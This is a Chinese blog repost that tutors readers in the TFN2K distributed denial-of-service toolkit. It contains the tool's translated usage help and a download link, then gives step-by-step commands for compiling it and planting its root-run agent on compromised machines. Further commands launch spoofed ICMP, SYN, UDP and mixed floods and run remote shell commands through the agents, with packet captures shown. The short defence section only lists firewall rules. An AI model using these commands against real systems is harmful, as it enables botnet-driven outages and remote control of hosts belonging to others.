本片博文转自genehang.
转述该博文的主要目的主要是将理论与实践结合。
今年年初,一些黑客使用DDoS向Yahoo,eBay等著名站点发起攻击,并且使yahoo瘫
痪。1999.10月ISS就预言DDoS将成
为2000年最流行的攻击手法。国内近期也发生了许多DDoS事件。佳佳刚考完Toefl可以清闲几天,于是就整理一下几个著名工具的代码,汇报被大家。
这里佳佳主要介绍tfn2k,因为它最著名嘛!主要分为使用说明,攻击实例,程序分析,防范手段等几部分。
简介:
TFN
被认为是当今功能最强性能最好的DoS攻击工具,几乎不可能被察觉。作者发布这个工具的出发点是什么呢?作
者向你保证它不会伤害公司或个人。但是它会吓一吓那些不关心系统安全的人,因为现在精密的工具被不断改善,并且被私人持有,他们许多都是不可预测的。现在
是每一个人都清醒的时候了,每一个人都应该意识到假如他不足够关心他的安全问题,最坏的情形就会发生。
因此这个程序被设计成大多数的操作系统可以编译,以表明现在的操作系统没有特别安全的,包括Windows,Solaris,Linux及其他各种unix.
特点描述:
TFN使用了分布式客户服务器功能,加密技术及其它类的功能,它能被用于控制任意数量的远程机器,以产生随机匿名的拒绝服务攻击和远程访问。
此版本的新特点包括:
1。功能性增加:
为分布式执行控制的远程单路命令执行
对软弱路由器的混合攻击
对有IP栈弱点的系统发动Targa3攻击
对许多unix系统和WinNT的兼容性。
2。匿名秘密的客户服务器通讯使用:
假的源地址
高级加密
单路通讯协议
通过随机IP协议发送消息
诱骗包
编译:
在编译之前,先要编辑src/makefile文件修改选项符合你的操作系统。建议你看一下src/config.h然后修改一些重要的缺省值。
一旦你开始编译,你会被提示输入一个8--32位的服务器密码。如果你使用REQUIRE_PASS类型编译,在使用客户端时你必须输入这个密码。
安装:
TFN服务器端被安装运行于主机,身份是root(或euid root)。
它将用自己的方式提交系统配置的改变,于是如果系统重启你也得重启。一旦服务器端被安装,你就可以把主机名加入你的列表了(当然你也可以联系单个的服务器端)。TFN的客户端可以运行在shell(root)和Windows命令行(管理员权限需要在NT上).
使用客户端:
客户端用于联系服务器端,可以改变服务器端的配置,衍生一个shell,控制攻击许多其它的机器。你可以tfn -f file从一个主机名文件读取主机名,也可以使用tfn -h hostname联系一个服务器端。
缺省的命令是通过杀死所有的子线程停止攻击。命令一般用-c .
请看下面的命令行描述。 选项-i需要给命令一个值,分析目标主机字符串,这个目标主机字符串缺省用分界符@。
当使用smurf flood时,只有第一个是被攻击主机,其余被用于直接广播。
ID 1 -反欺骗级:服务器产生的DoS攻击总是来源于虚假的源地址。通过这个命令,你可以控制IP地址的哪些部分是虚假的,哪些部分是真实的IP。
ID 2 -改变包尺寸:缺省的ICMP/8,smurf,udp攻击缺省使用最小包。你可以通过改变每个包的有效载荷的字节增加它的大小。
ID 3 - 绑定root shell:启动一个会话服务,然后你连接一个指定端口就可以得到一个root shell。
ID 4 - UDP flood 攻击:这个攻击是利用这样一个事实:每个udp包被送往一个关闭的端口,这样就会有一个ICMP不可到达的信息返回,增加了攻击的能力。
ID5 - SYN flood 攻击:这个攻击有规律的送虚假的连接请求。结果会是目标端口拒绝服务,添瞒TCP连接表,通过对不存在主机的TCP/RST响应增加攻击潜力。
ID 6 - ICMP响应(ping)攻击:这个攻击发送虚假地址的ping请求,目标主机会回送相同大小的响应包。
ID 7 - SMURF 攻击:用目标主机的地址发送ping请求以广播扩大,这样目标主机将得到回复一个多倍的回复。
ID 8 - MIX攻击:按照1:1:1的关系交替的发送udp,syn,icmp包,这样就可以对付路由器,其它包转发设备,NIDS,sniffers等。
ID 9 -TARGA3攻击
ID 10 - 远程命令执行:给予单路在服务器上执行大量远程命令的机会。更复杂的用法请看4.1节。
更多的选项请看命令行帮助。
使用tfn用于分布式任务
Using TFN for other distributed tasks
依照CERT的安全报告,新版本的DDOS工具包含一个最新流行的特点:软件的自我更新。
TFN也有这个功能,作者并没有显式的包含这个功能。在ID 10远程执行命令中给予用户在任意数量远程主机上以批处理的形式执行同样shell命令的能力。这同时也证明了一个问题:DDOS等类似的分布式网络工具不仅仅简单的用于拒绝服务,还可以做许多实际的事情。
使用方法:
usage: ./tfn
[-P protocol] Protocol for server communication. Can be ICMP, UDP or TCP.
Uses a random protocol as default
[-D n] Send out n bogus requests for each real one to decoy targets
[-S host/ip] Specify your source IP. Randomly spoofed by default, you need
to use your real IP if you are behind spoof-filtering routers
[-f hostlist] Filename containing a list of hosts with TFN servers to contact
[-h hostname] To contact only a single host running a TFN server
[-i target string] Contains options/targets separated by '@', see below
[-p port] A TCP destination port can be specified for SYN floods
<-c command ID> 0 - Halt all current floods on server(s) immediately
1 - Change IP antispoof-level (evade rfc2267 filtering)
usage: -i 0 (fully spoofed) to -i 3 (/24 host bytes spoofed)
2 - Change Packet size, usage: -i
3 - Bind root shell to a port, usage: -i
4 - UDP flood, usage: -i victim@victim2@victim3@...
5 - TCP/SYN flood, usage: -i victim@... [-p destination port]
6 - ICMP/PING flood, usage: -i victim@...
7 - ICMP/SMURF flood, usage: -i victim@broadcast@broadcast2@...
8 - MIX flood (UDP/TCP/ICMP interchanged), usage: -i victim@...
9 - TARGA3 flood (IP stack penetration), usage: -i victim@...
10 - Blindly execute remote shell command, usage -i command
看到这里,你是不是有许多不明白,这上面只是佳佳把原作者(mixter)的使用说明大致翻译了一下,一些东西,象新特点呀,新增功能呀,知不知道无所谓啦!以后再看吧!
下一篇文章呢,佳佳会给出一次详细的攻击过程,是佳佳在Linux上测试的。可是重点的重点啊!等着吧。。。
jjgirl 10.24.2000
jjgirl@363.net
对了,补充一点。下载地址:http://packetstorm.securify.com/groups/mixter/tfn.tgz
这里的地址不一定可以访问。可以百度一下。
tfn2k使用方法和对策(2)
jjgirl
--------------------------------------------------------------------------------
佳佳继续上一次的文章,这一次是攻击测试。
测试环境:
共有5台机器,佳佳是在五台redhat linux6.2上测试的。
192.168.111.1
192.168.111.2
192.168.111.3
192.168.111.55
192.168.111.88
测试目的:?????(感受一下yahoo怎么被攻击的)
简要介绍:
我们的测试目的是用192.168.111.55指挥192.168.111.1,192.168.111.2,192.168.111.3
三台机器对192.168.111.88发动攻击。(实际攻击中就不止三台了。)
因此我们的步骤如下:
0。黑客攻击时事先要控制192.168.111.1,192.168.111.2,192.168.111.3,192.168.111.55这四台机器。也就是我们俗称的“肉鸡”。
1。编译代码。
2。在192.168.111.1,192.168.111.2,192.168.111.3上安装td。
3。在192.168.111.55安装tfn。
4。由192.168.111.55指挥192.168.111.1,192.168.111.2,192.168.111.3
对192.168.111.88发动攻击。
5。攻击结束。
详细步骤:
0。黑客攻击时事先要控制192.168.111.1,192.168.111.2,192.168.111.3,192.168.111.55这四台机器。
这一步我就不说了,大家一定有办法。。。
1。编译代码。
假设在192.168.112.55上。。。
首先一定要有root权限
$su
#
解开文件:
#tar zxvf tfn2k.tgz
#cd tfn2k
如果你不是linux或者bsd请修改src下的Makefile文件。(有一网友问佳佳,solaris为什么不行。如果你修改了Makefile,把linux改成了solaris仍然不行,佳佳也不知道了,因为佳佳没有solaris的测试环境。)
#make
make过程中会让你输入一个密码,8--32位的。那就输入一个吧,将来tfn和td联系时需要这个密码。我输入的是:aaaabbbb
make完成你会发现,多了两个可执行文件:tfn,td
2。在192.168.111.1,192.168.111.2,192.168.111.3上安装td。
#ftp 192.168.111.1
ftp>bin
fpt>put td
ftp>by
ftp的具体步骤我就不说了,大家一定都知道。
同样方法:ftp 192.168.111.2
ftp 192.168.111.3
然后在分别在192.168.111.1,192.168.111.2,192.168.111.3上
#./td
注意一定要有root权限,否则无法运行。
3。在192.168.111.55安装tfn。
由于我们是在192.168.111.55上编译的,tfn就已经在了。
4。由192.168.111.55指挥192.168.111.1,192.168.111.2,192.168.111.3对192.168.111.88发动攻击。
好了,我们终于完成了准备工作,攻击可以开始了。。。
我现在在192.168.111.55的/tfn2k/目录下。。。
我们需要编辑一个文件列表。
#vi hosts.txt
文件第一行输入:192.168.111.1
文件第二行输入:192.168.111.2
文件第三行输入:192.168.111.3
这就是控制文件列表。
然后我们测试一下连接。
在192.168.111.55上。。。
下面的命令意思是:在hosts.txt文件中的机器上执行远程命令“mkdir jjgirl”,其中-c 10表示执行远程命令。执行完这个命令就会在那三台机器上都建立jjgirl目录。当然你可以随便执行其他的命令。
#./tfn -f hosts.txt -c 10 -i "mkdir jjgirl"
Protocol : random
Source IP : random
Client input : list
Command : execute remote command
Password verification: (这时我们输入密码:aaaabbbb)
Sending out packets: .
好了,完成。
然后我们在192.168.111.1上执行:
#find / -name jjgirl -print
好,找到了。说明我们连接成功。。。
下面开始正式攻击了。。。
你可以在192.168.111.1上:
#./ntop
运行ntop查看流量。
先来ICMP攻击
#./tfn -f hosts.txt -c 6 -i 192.168.111.88(十分钟,192.168.111.88就死机了)
重启,接着测试。。。
SYN/TCP攻击:
#./tfn -f hosts.txt -c 5 -i 192.168.111.88 -p 80
UDP攻击:
#./tfn -f hosts.txt -c 4 -i 192.168.111.88
ICMP/TCP/UDP轮流攻击:
#./tfn -f hosts.txt -c 8 -i 192.168.111.88
5。攻击结束
如果我们想停止攻击:
#./tfn -f host.txt -c 0
实际tfn还有许多攻击选项,大家可以再回头看我的第一篇文章,看一下-c后面的11个选项。
二.tfn2k攻击原理
1.tfn2k的攻击体系。
tfn2k应该算是DDOS攻击中的代表作,其所能实现的功能让人瞠目结舌,叹为观止...(对它的敬畏有如滔滔江水,延续不绝...)来看看它
的架构。
主控端---运行tfn客户端,来遥控并指定攻击目标,更改攻击方法.(罪大恶极)
代理端---被植入并运行td进程的牺牲品,接受tfn的指挥,攻击的实施者.需要注意的是,一个攻击者,往往控制多台代理来完成攻击,而
且其系统多为unix,linux等.(可怜的牺牲品)
目标主机---被攻击的主机或网络,曾经被DDOS的有Yahoo、Amazon、CNN、e-bay等.(最大的受害者,郁闷如我)
2.tfn2k特性。
◆ 主控端通过TCP、UDP、ICMP或随机性使用其中之一(默认.随机)的数据包向代理端主机发送命令,攻击方法包括TCP/SYN、UDP、
ICMP/PING、混合攻击、TARGA3等。
◆ 主控端与代理端的通讯采取单向,即主控端只向代理端发送命令,并且会采取随机的头信息,甚至虚拟的源地址信息,代理端不会
逆向向主控端发送任何信息.
◆ 所有命令经过CAST-256算法加命,其关键字即编译程序时的输入的口令.并且这个口令做为唯一认证凭证.
◆ 利用td进程,主控端可以远程执行shell命令.
◆ td进程的名称可以在编译时更改,更便于隐藏.
◆ tfn可以编译运行于win32及linux系统的.
...
至于伪造源IP地址等功能,更是基本功能,并且其与老版本的tfn相比,它的发包效率更高,我自已的测试,在短短不到5分钟,两台
代理机,使我的redhat linux 9.0系统瘫痪.
三.tfn2k 实战测试
1.测试环境:
软件:redhat linux 9.0
硬件平台:
master:
IP: 192.168.0.6
PIV2.4/256*2/rtl8139
Ag1 :
IP: 192.168.0.2
PIV2.4/256*/rtl8139
AG2 : IP: 192.168.0.3
pIV2.6/512*2/3c905
AIM: 192.168.0.5
pIV2.66c/512*2/3c905
switch: D_link des 1024R
1.下载tfn2k.tgz(因为此软件非比寻常,所以我并不提供下载地址,如果有兴趣,自已到网上找吧)
2.解压: tar zxvf tfn2k.tgz
3.修改文件
A. src/Makefile 如果你的系统是linux系统,不需要做任何修就可以,如果是win32系统,请将
# Linux / *BSD* / Others
CC = gcc
CFLAGS = -Wall -O3
CLIBS =
这几行注释掉,并将
# Win32 (cygwin)
#CC = gcc
#CFLAGS = -Wall -DWINDOZE -O2
#CLIBS =
这几行的注释去掉.因为我的测试系统为redhat linux 9.0所以并未做任何修改.
B. src/config.h ,默认的就可以用,如果感兴趣,可以照其注释信息进行调整。
C. src/ip.h 这里要做一些修改,否则编译会有错误,发生重复定义。
/*struct in_addr
{
unsigned long int s_addr;
};*/
注意啊~~我可是将它放在"/* */"之间,也就是注释掉了:)
D.更改编译器:
因为tfn2k支持的是egcs-1.1.2-30,而redhat linux 9.0所包含的是gcc-3.2.2-5,所以如果不替换掉gcc,tfn2k是编译不过去的.需
要注意的是,更改之后,有可能会造成基于gcc3.2.2的软件编译不去,请谨慎而行.
方法很简单的,找到一张redhat linux 6.2安装盘,将egcs-1.1.2-30.rpm、cpp-1.1.2-30.rpm拷到~/
cd /mnt/cdrom/Redhat/RPMS
cp egcs-1.1.2-30* cpp-1.1.2-30* ~/
安装cpp rpm -Uvh --nodeps --oldpackage cpp-1.1.2-30.i386.rpm
安装egcs rpm -Uvh egcs-1.1.2-30.i386.rpm (如果提示有误,用nodeps、oldpackages、ignoreos等参数忽略过去就是了)
4.编译tfn2k
cd tfn2k/src
make
首先会谈出一个声明,你必须接受,之后会提示输入8-32位密码,前边提到过,这是唯一的认证凭证,会被分发于td进程中,所以一定
要记牢噢~。
编译通过后,会产生td及tfn,这就是大名鼎鼎的tfn2k啦~,td是守护进程,用来安装在代理中的,而tfn就是控制端.
5.安装td.
将td上传到我的两台代理,ag1(192.168.0.2)和ag2(192.168.0.3) ,因为我只不过测试,所以用的是合法的root来上传并执行td进程的
,如果真要找到并安装一个代理,你可能得费点儿神,因为没有一个管理员会说“come on baby ~~.我给你root,来安装td做代理吧”
[root@test /] ftp 192.168.0.2
Connected to 192.168.0.2.
530 Please login with USER and PASS.
530 Please login with USER and PASS.
Name (192.168.0.2:root): wjpfjy
331 Please specify the password.
Password:
230 Login successful. Have fun.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>; put td (上传td)
local: td remote: td
227 Entering Passive Mode (192,168,0,3,198,225)
553 Could not create file.
ftp>; by (退出ftp)
221 Goodbye.
[root@test /]ssh 192.168.0.2 登陆到ag1 以执行td ,注意,我用的是root帐户,这样才有足够的权限来执行它.
root@192.168.0.2's password:
Last login: Tue Feb 24 06:51:13 2004
[root@ ag1 /]find / -name td -print 找到刚上传过来的文件td.
[root@ ag1 wjpfjy/]chmod a+x td 使之具有执行权限.
[root@ ag1 wjpfjy/]./td 运行td ,这样你就拥有一个代理了,它会对你唯命是从的:(。
用同样的方法在ag2 (192.168.0.3)上安装并运行TFN2k进程td.
6.攻击开始(悲惨的回忆上演中...)
回到master(192.168.0.6 ),准备演练...
[root@master root]#touch host.txt 建立代理记录文件(因为如果你足够无聊的话,有可能会建立很多的肉鸡-代理,不记下会忘
记的噢.)
[root@master root]echo "192.168.0.2" >; host.txt 将执行过td的ag1加入host.txt。
[root@master root]echo "192.168.0.3" >;>; host.txt 添加ag2到host.txt .
先来测试一下链接。
[root@master root]./tfn -f host.txt -c 10 -i "mkdir wjpfjy" 与host.txt中的代理通讯,让其执行命令mkdir wjpfjy即建立一个
目录
Protocol : random
Source IP : random
Client input : list
Command : execute remote command
Password verification: 这里,会被提示输入密码,也就是编译时输入的密码,如果错了,将无法与td进程通讯
Sending out packets: ..
到ag1和ag2看看有没有建立目录名wjpfjy,一般情况下,会存在于td的同一目录,如果不确定,可以用find / -name wjpfjy -print来查找
[root@master root]./tfn -f host.txt -c 6 -i 192.168.0.5 开始ICMP/PING 攻击aim...(可怜我的P4啊,不到5分钟,就跟386一样慢
),不过它在game over前,还是很艰辛的记录下了攻击数据,也算是对得住的那NK大洋啦.这是tcpdump的抓包记录.
[root@aim root]# tcpdump -r pack.atta -c 4 -xX
08:03:36.524907 23.43.171.0 >; 192.168.0.5 icmp: echo request [ttl 0]
0x0000 4500 005c 659d 0000 0001 d22e 172b ab00 E..\e........+..
0x0010 c0a8 0002 0800 f7ff 0000 0000 0000 0000 ................
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 ..
08:03:36.524933 192.168.0.5 >; 23.43.171.0: icmp: echo reply
0x0000 4500 005c a5d5 0000 4001 51f6 c0a8 0002 E..\....@.Q.....
0x0010 172b ab00 0000 ffff 0000 0000 0000 0000 .+..............
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 ..
08:03:36.524944 36.235.130.0 >; 192.168.0.5: icmp: echo request [ttl 0]
0x0000 4500 005c 659d 0000 0001 ed6e 24eb 8200 E..\e......n$...
0x0010 c0a8 0002 0800 f7ff 0000 0000 0000 0000 ................
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 ..
08:03:36.524984 192.168.0.5 >; 36.235.130.0: icmp: echo reply
0x0000 4500 005c 551c 0000 4001 bdef c0a8 0002 E..\U...@.......
0x0010 24eb 8200 0000 ffff 0000 0000 0000 0000 $...............
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
[root@master root]./tfn -f host.txt -c 0 停止攻击
Protocol : random
Source IP : random
Client input : list
Command : stop flooding
Password verification:
Sending out packets: ...
当然还有别的攻击方法,你只要用-c X就可以更改攻击方法.
[root@master root]./tfn
usage: ./tfn
;
[-P protocol] Protocol for server communication. Can be ICMP, UDP or TCP.
Uses a random protocol as default
[-D n] Send out n bogus requests for each real one to decoy targets
[-S host/ip] Specify your source IP. Randomly spoofed by default, you need
to use your real IP if you are behind spoof-filtering routers
[-f hostlist] Filename containing a list of hosts with TFN servers to contact
[-h hostname] To contact only a single host running a TFN server
[-i target string] Contains options/targets separated by '@', see below
[-p port] A TCP destination port can be specified for SYN floods
<-c command ID>; 0 - Halt all current floods on server(s) immediately
1 - Change IP antispoof-level (evade rfc2267 filtering)
usage: -i 0 (fully spoofed) to -i 3 (/24 host bytes spoofed)
2 - Change Packet size, usage: -i ;
3 - Bind root shell to a port, usage: -i ;
4 - UDP flood, usage: -i victim@victim2@victim3@...
5 - TCP/SYN flood, usage: -i victim@... [-p destination port]
6 - ICMP/PING flood, usage: -i victim@...
7 - ICMP/SMURF flood, usage: -i victim@broadcast@broadcast2@...
8 - MIX flood (UDP/TCP/ICMP interchanged), usage: -i victim@...
9 - TARGA3 flood (IP stack penetration), usage: -i victim@...
10 - Blindly execute remote shell command, usage -i command
四.防守办法
就如同网上所有介绍DDOS的文章一样,DDOS防不胜防,我试着用防火墙过滤掉所有icmp包,来保护我的主机,但所实现的,只是我的主机晚
点儿崩溃而已.哎~,别指望我来防DDOS,要能防,我也不用不睡觉啊:(
还是那句老话,我们能做的,就是尽量让我们的主机不成为别人攻击的代理,并对intranet 内出行的包进行严格限制,尽量不去危害别人
,只要大家都这样做,我们的网络环境才可以安全一些,至少,我可以安心睡几天觉.
附上我防火墙的一部分.主要是针对ICMP/PING的,不过用处不太大:(
/sbin/iptables -P INPUT DROP
/sbin/iptables -A INPUT -i lo -p all -j ACCEPT
/sbin/iptables -A INPUT -i eth1 -p icmp -j ACCEPT
/sbin/iptables -A INPUT -p icmp --icmp-type 8 -j DROP
/sbin/iptables -A INPUT -s 127.0.0.2 -i lo -j ACCEPT
/sbin/iptables -A INPUT -s 127.0.0.2 -i eth0 -j DROP
/sbin/iptables -A INPUT -s $LAN_NET/24 -i eth0 -j DROP
/sbin/iptables -A INPUT -s 172.16.0.0/12 -i eth0 -j DROP
/sbin/iptables -A INPUT -s 10.0.0.0/8 -i eth0 -j DROP
/sbin/iptables -A INPUT -i eth0 -m limit --limit 1/sec --limit-burst 5 -j ACCEPT/sbin/iptables -A INPUT -i eth0 -p udp -m
state --state NEW -j REJECT
/sbin/iptables -A INPUT -p tcp --dport 22 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 80 -j ACCEPT
/sbin/iptables -A INPUT -p tcp -i eth1 --dport 53 -j ACCEPT
/sbin/iptables -A INPUT -p udp -i eth1 --dport 53 -j ACCEPT
/sbin/iptables -A INPUT -p tcp -i eth0 -m state --state ESTABLISHED,RELATED -m tcp --dport 1024: -j ACCEPT
/sbin/iptables -A INPUT -p udp -i eth0 -m state --state ESTABLISHED,RELATED -m udp --dport 1024: -j ACCEPT
/sbin/iptables -A INPUT -p icmp --icmp-type echo-request -j LOG --log-level 2
/sbin/iptables -A INPUT -i eth0 -p icmp --icmp-type echo-request -j DROP
/sbin/iptables -A INPUT -p tcp -m multiport --destination-port 135,137,138,139 -j LOG
/sbin/iptables -A INPUT -p udp -m multiport --destination-port 135,137,138,139
-j LOG
/sbin/iptables -A INPUT -i eth0 -p tcp --dport 2000 -j ACCEPT
/sbin/iptables -A INPUT -i eth0 -p tcp --dport 2001 -j ACCEPT
/sbin/iptables -A INPUT -p tcp -i eth1 -m state --state ESTABLISHED,RELATED -m tcp --dport 1024: -j ACCEPT